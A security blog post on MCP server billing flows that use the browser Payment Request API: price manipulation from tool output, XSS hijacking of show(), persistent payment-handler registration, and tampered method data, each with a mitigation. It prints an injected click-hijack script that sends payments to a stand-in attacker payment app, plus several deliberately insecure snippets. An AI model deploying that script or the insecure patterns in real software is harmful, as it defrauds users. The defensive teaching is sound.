Blog · MCP Server Security
MCP server Payment Request API security — paymentRequest.show() hijacking, payment handler registration as persistent attack surface, price manipulation via tool output, and CSP for payment flows
MCP servers that implement billing tools — usage metering, subscription management, pay-per-audit workflows — may integrate the Payment Request API to initiate browser-native payment flows. The Payment Request API presents a trusted browser UI for payment confirmation, but the data that populates that UI (amounts, item descriptions, payment method configurations) comes from JavaScript code that the MCP UI calls. If any of that data derives from MCP tool output without server-side validation, a compromised MCP tool can manipulate the payment amount, item description, or payment destination presented in the trusted payment dialog.
Price manipulation via tool output in payment details
A billing MCP tool returns a price quote that the client UI uses to construct a PaymentRequest. If the price is taken from the tool response without server-side validation, a malicious MCP server returns a manipulated price:
// Dangerous: payment amount sourced directly from MCP tool response
async function initiatePayment(toolQuoteResult) {
const paymentRequest = new PaymentRequest(
[{ supportedMethods: 'basic-card' }],
{
total: {
label: 'SkillAudit Pro Audit',
amount: { currency: 'USD', value: toolQuoteResult.price } // untrusted!
}
}
);
const response = await paymentRequest.show();
// User confirmed a price that came from the tool — attacker set price to '0.01'
await processPayment(response);
}
// Safe: price comes from server-side pricing API, never from tool output
async function initiatePayment(auditId) {
// Fetch authoritative price from your own pricing endpoint
const { price, currency } = await fetch(`/api/pricing/${auditId}`).then(r => r.json());
// Validate price server-side when processing payment token — this is the real gate
const paymentRequest = new PaymentRequest(
[{ supportedMethods: 'basic-card' }],
{ total: { label: 'SkillAudit Pro Audit', amount: { currency, value: price } } }
);
const response = await paymentRequest.show();
// Server re-validates price on payment processing — client price is display-only
await fetch('/api/process-payment', {
method: 'POST',
body: JSON.stringify({ paymentToken: response.details, auditId }) // NOT price
});
}
Root principle: Payment amounts displayed via the Payment Request API are informational only — the authoritative price must be validated server-side when processing the payment token. Never trust the client-side amount in the payment processing endpoint. The server must independently look up the price for auditId and charge that amount, regardless of what the client says the price was.
paymentRequest.show() triggered by injected scripts
paymentRequest.show() requires a user gesture (transient user activation) in most browsers — it cannot be called from a setTimeout or a script that runs outside a user interaction handler. However, if an MCP UI renders tool output that contains injected JavaScript via XSS, and that script hijacks a legitimate click event handler (by adding a capture-phase listener that calls show() on a pre-constructed PaymentRequest), the injected script can present a payment dialog on any user click within the page — not just on the intended "pay" button:
// Injected script via XSS in tool output — hijacks any click event to show payment dialog
const req = new PaymentRequest(
[{ supportedMethods: 'https://attacker-payment-app.com' }],
{ total: { label: 'Service Fee', amount: { currency: 'USD', value: '99.99' } } }
);
document.addEventListener('click', async () => {
try { await req.show(); } catch {} // show dialog on any click — not just intended payment button
}, { once: true, capture: true });
Defense: prevent XSS in tool output rendering. Additionally, use a strict CSP that includes payment-request 'none' (in supporting browsers) on non-payment pages to block Payment Request API access outside of the intended payment flow pages.
Payment handler registration: persistent browser entry point
The Web Payments spec includes a Payment Handler API that allows a web app (installed as a PWA) to register as a payment handler — appearing in the payment sheet alongside Apple Pay, Google Pay, and saved cards when any website calls paymentRequest.show(). Once a user has installed an MCP PWA that has registered as a payment handler, it appears in payment sheets across all websites the user visits. A compromised MCP PWA that registers a malicious payment handler can intercept payments on unrelated sites:
// Payment handler registration in service worker (requires PWA installation) // ServiceWorkerRegistration.paymentManager.instruments.set(...) // Once registered, this payment handler appears in EVERY website's payment sheet // Defense: MCP UIs should NOT register payment handlers // If your MCP server needs to handle payments, use a dedicated payment service (Stripe, etc.) // Do not use the Payment Handler API for MCP billing tools
Defense recommendation: MCP UIs that handle payments should use an established payment processor's hosted payment page (Stripe Checkout, Paddle) rather than building a custom Payment Request API integration. Hosted payment pages run on the payment processor's origin with their security controls — no MCP tool output can influence the payment flow. The Payment Request API is appropriate for established e-commerce use cases, not for MCP billing where tool output influences the payment parameters.
Payment method data validation
The data field of a payment method in the methodData array is passed to the payment handler without validation. If the payment method is a URL-based payment handler (supportedMethods: 'https://payment-handler.example.com'), the data field is passed to that handler. If the data includes fields derived from MCP tool output, the tool can inject values that confuse the payment handler's processing logic:
// Dangerous: payment method data includes MCP tool output
const paymentRequest = new PaymentRequest([
{
supportedMethods: 'https://payments.example.com',
data: {
merchantId: MERCHANT_ID,
checkoutToken: toolResult.checkoutToken // tool output — potentially tampered
}
}
], details);
// Safe: payment method data from server-generated values only
const { checkoutToken } = await fetch('/api/create-checkout-session').then(r => r.json());
const paymentRequest = new PaymentRequest([
{ supportedMethods: 'https://payments.example.com', data: { merchantId: MERCHANT_ID, checkoutToken } }
], details);
Security comparison: Payment Request API patterns for MCP billing
| Pattern | Security risk | Mitigation |
|---|---|---|
| Payment amount from MCP tool response | Price manipulation — attacker sets price to $0.01 or modifies billing period | Payment amounts from server-side pricing API only; server re-validates amount at processing time |
| paymentRequest.show() on injected click handler | Unexpected payment dialog on any user click via XSS hijack of user gesture | Prevent XSS; restrict Payment Request API to payment-specific pages with CSP |
| Payment handler registered via PWA service worker | Persistent payment interceptor appears in all websites' payment sheets | Do not register payment handlers; use hosted payment pages (Stripe Checkout) |
| Payment method data from tool output | Tampered checkout tokens or merchant IDs in method data confuse payment handler | All payment method data server-generated; never from tool response |
| Item descriptions from tool output in payment dialog | Misleading item labels in the trusted payment dialog confuse what user is paying for | Item labels hardcoded or from server-side product catalog; never from tool output |
SkillAudit findings
PaymentRequest details derived from MCP tool response without server-side validation. Malicious MCP server returns manipulated price ($0.01 for Pro plan); user confirms the dialog; payment is processed at the wrong amount because the server trusts the client-submitted price. −24 pts
innerHTML without sanitization on pages that include a Payment Request API integration. Injected script hijacks user gestures to trigger unexpected payment dialogs with attacker-controlled payment method and amount. −20 pts
paymentManager. Payment handler appears in payment sheets for all websites the user visits — persistent cross-origin payment interception attack surface. −18 pts
data field includes fields sourced from MCP tool response (checkout tokens, merchant identifiers). Compromised tool returns tampered values that confuse the downstream payment handler's validation. −12 pts
See also: MCP server Web Share API security (data leaving the browser sandbox) · MCP server fetch() security (URL and credentials validation in API calls)